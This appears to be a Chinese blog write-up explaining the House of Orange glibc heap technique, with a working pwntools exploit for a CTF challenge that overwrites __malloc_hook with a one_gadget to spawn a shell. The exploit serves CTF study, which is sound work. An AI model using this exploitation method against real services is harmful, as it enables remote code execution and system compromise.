House of Orange

October 20, 2019 PWN 访问: 21 次

这种利用手法可以把一个chunk给释放掉,过程没有使用到free函数

源码分析

在调用malloc分配chunk的时候,会首先看fast binsmall binlarge binunsorted bin里是否有合适的chunk来分配,如果都没有的话,就会从top chunk中分配
但是,当top chunk也不够的时候,就会执行以下代码:

/*
         Otherwise, relay to handle system-dependent cases
       */
      else
        {
          void *p = sysmalloc (nb, av);
          if (p != NULL)
            alloc_perturb (p, bytes);
          return p;
        }

malloc.c:2260:

/*
   sysmalloc handles malloc cases requiring more memory from the system.
   On entry, it is assumed that av->top does not have enough
   space to service request for nb bytes, thus requiring that av->top
   be extended or replaced.
 */
static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av)
{
                       ……………………
                      /* If possible, release the rest. */
                      if (old_size >= MINSIZE)
                        {
                          _int_free (av, old_top, 1);
                        }
                    }
                }
            }
        }
    } /* if (av !

可以看到,会调用_int_free函数把原来的top chunk给free掉

伪造的 top chunk size 的要点

  • 伪造的 size 必须要对齐到内存页
  • size 要大于 MINSIZE(0x10)
  • size 要小于之后申请的 chunk size + MINSIZE(0x10)
  • size 的 prev inuse 位必须为 1
内存页对齐:0x602020+0x20fe0=0x623000,可以伪造成0x0fe1,0x1fe1,0x2fe1……

巅峰极客 pwn1

保护全开,freeshow函数都只能利用一次,edit中存在堆溢出,最多可以溢出8个字节,可以修改到top chunk,然后利用House of Orange使unsorted bin中出现chunk,然后泄露libc,然后可造成UAF,修改__free_hook即可获取shell
Exp:

from pwn import *
import sys
context.log_level='debug'
debug = 0
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '8f383c80.gamectf.com'
prot = '40079'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def create(chunk_size,value):
    ru('Your choice > ')
    sl('1')
    ru('Size > ')
    sl(str(chunk_size))
    ru('Content > ')
    sl(value)
def delete():
    ru('Your choice > ')
    sl('3')
def show():
    ru('Your choice > ')
    sl('2')
def edit(size,value):
    ru('Your choice > ')
    sl('4')
    ru('Size > ')
    sl(str(size))
    ru('Content > ')
    sd(value)
def debug():
    gdb.attach(r)
    raw_input()
ru("What's your name?")
sl("wxm")
create(0x38,"aaa")
edit(0x40,"a"*0x30+p64(0)+p64(0xfc1))
create(0xf00,"bbb")
create(0xc0,"ccc")
create(0x60,"")
show()
ru("\x7f\x00\x00")
li("free",libc.symbols['free'])
libc_base = u64(r.recv(8))-0x3c4bf8
li("libc_base",libc_base)
__malloc_hook = libc_base + libc.symbols['__malloc_hook']
delete()
edit(0x68,p64(__malloc_hook-0x23))
create(0x60,"")
one_gg = 0xf02a4+libc_base
create(0x60,"aaa"+p64(0)*2+p64(one_gg))
# debug()
ru('Your choice > ')
sl('1')
ru('Size > ')
sl("32")
ri()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

添加新评论